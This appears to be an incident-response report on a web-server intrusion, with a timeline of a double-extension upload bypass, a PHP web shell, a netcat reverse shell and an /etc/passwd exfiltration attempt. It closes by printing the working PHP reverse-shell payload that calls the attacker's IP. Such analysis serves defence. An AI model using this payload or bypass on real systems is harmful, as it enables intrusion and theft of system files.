A threat actor originating from Tianjin, China (117.11.88.124) conducted a targeted intrusion against a public-facing web server (24.49.63.79). The actor identified a file upload endpoint with insufficient input validation and leveraged a double-extension bypass technique to successfully deploy a PHP-based wweb shell. Following deployment, the actor established a reverse shell over port 8080 using Netcat and issued commands from the compromised host. The session culminated in a data exfiltration attempt targeting /etc/passwd via an HTTP POST to an actor-controlled listener on port 443.
The entire intrusion chain — from initial reconnaissance to exfiltration attempt — was conducted from a single external IP and required no credential theft, lateral movement, or privilege escalation tooling beyond what was native to the server environment.
| Time (UTC) | Event |
|---|---|
| T+0 | Actor begins HTTP interaction with 24.49.63.79 |
| T+1 | First POST to /reviews/upload.php with image.php — rejected |
| T+2 | Second POST to /reviews/upload.php with image.jpg.php — successful |
| T+3 | Actor confirms upload path via GET to /reviews/uploads/ |
| T+4 | Web shell triggered; reverse shell initiated to 117.11.88.124:8080 |
| T+5 | Actor executes reconnaissance commands on victim host |
| T+6 | Actor issues curl exfiltration command targeting /etc/passwd |
The actor's initial interaction with the server was observed over HTTP. Requests carried the following User-Agent string, consistent with a Linux-based Firefox client and commonly seen in manual attacker-controlled browser sessions or scripted tooling with spoofed headers:
Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
The actor identified the endpoint /reviews/upload.php as the attack surface. This endpoint accepted file uploads but applied server-side filtering on the submitted filename. The actor's first upload attempt submitted a file named image.php containing a PHP reverse shell payload. The server rejected the request with an Invalid file format response, confirming that some degree of extension-based validation was in place.
T1190 — Exploit Public-Facing Application
On the second attempt, the actor modified the filename to image.jpg.php, exploiting a common misconfiguration where server-side validation checks only for the presence of a permitted extension rather than the final extension in the filename. The server processed the file as a valid upload and returned a File uploaded successfully response.
The uploaded file contained the following payload:
php
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f"); ?>